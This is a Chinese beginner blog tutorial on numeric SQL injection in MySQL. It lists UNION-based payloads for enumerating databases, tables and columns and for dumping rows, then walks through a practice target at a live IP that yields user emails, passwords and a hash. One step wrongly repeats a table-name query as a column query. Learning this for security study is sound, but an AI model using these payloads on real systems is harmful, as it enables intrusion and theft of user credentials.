sql注入入门学习(数字型)(连载中)

时间:2022-06-16
本文章向大家介绍sql注入入门学习(数字型)(连载中),主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

非宁静无以致远

判断sql注入

1.提交单引号
2.and大法和or大法
3.加法和减法,加号  %2b

数据库权限判断

and ord(mid(user(),1,1))=114
//或者
and (select count(*) from mysql.user)>0

判断字段数

用union联合查询

and 1=1 union select 1,2,3,4,5……
union select null,null,null.....

用order by 查询

order by 1,2,3,4

查询库名

判断数据库版本
and ord(mid(version(),1,1))>51 
直接使用mysql自带函数database()查询得到数据库名
union select 1,database(),3 limit 1,1
得到所有的数据库名
union select null,schema_name,null from information_schema.schemata
获取第一个库名
and 1=2 union select null,schema_name,null from information_schema.schemata limit 0,1

查询表名

在MySQL中,表名存放在information_schema数据库下tables表table_name字段中、查表名我们主要用到的是TABLES表

group_concat

and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test'
或者
union select null,table_name,null from information_schema.tables where table_schema='test'

查询字段

在MySQL中,字段名存放在information_schema数据库下columns表column_name字段中,这里使用的是columns表。

and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='test' and table_name='sqltest'
或者
union select null,column_name,null from information_schema.columns where table_schema='test' and table_name='admin'

查询数据

and 1=2 union select 1,group_concat(id,user,pwd),3 from admin
或者
union select null,title,content from sqltest
或者
and 1=2 union select 1,2,concat(user,0x3c,pwd) from admin

实战演练

打开网站http://43.247.91.228/content-1/index.php?id=0,我们在这里做注入练习

1.首先加单引号报错,可知存在明显的注入漏洞

2.输入and ord(mid(user(),1,1))=114不报错,可知数据库的权限是root权限,并且具有可读可写的权限

3.输入 and 1=1 union select 1,2,3,4,5,6,7,8不报错,可以发现这个表的字段有8个

4.使用and 1=2 union select null,schema_name,null ,null,null,null,null,null from information_schema.schemata limit 1,1;--;--注释了后面的语句,可以获取所有的数据库名,可以知道当前执行查询用户名为root@localhost(user()函数), 当前使用的数据库是inject,下面列出所有数据库

  • information_schema
  • inject
  • mysql
  • performance_schema

5.使用union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema='inject' limit 1,1;--获取所有的表名,下面列出所有的表

  • users

6.使用union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema='inject' limit 1,1;--获取所有的字段,下面列出所有的字段

  • idusers
  • name
  • email
  • password
  • ua
  • ref
  • host
  • lang

7.接下来就到最后最重要的一步了,获取所有数据,and 1=2 union select 1,group_concat(idusers,name,email,password,ua,ref,host,lang),3,4,5,6,7,8 from users;--

获取到的数据如下:

0adminadmin@getmantra.comadminBrick_Browserhttp://127.0.0.1/release-channel/content-13/index.php127.0.0.1en,1tomtom@getmantra.comtomBlock_Browser8.8.8.8en,2ronron@getmantra.comronRain_Browser192.168.1.1en,3harryharry@getmantra.com5f4dcc3b5aa765d61d8327deb882cf99Mantra127.0.0.1en

可以看出来这些应该就是数据表中所有的数据了,但是怎么格式化我并不会,希望看到这篇文章的大佬们能帮我解决一下,请给我发邮件:dandingkeji.top@gmail.com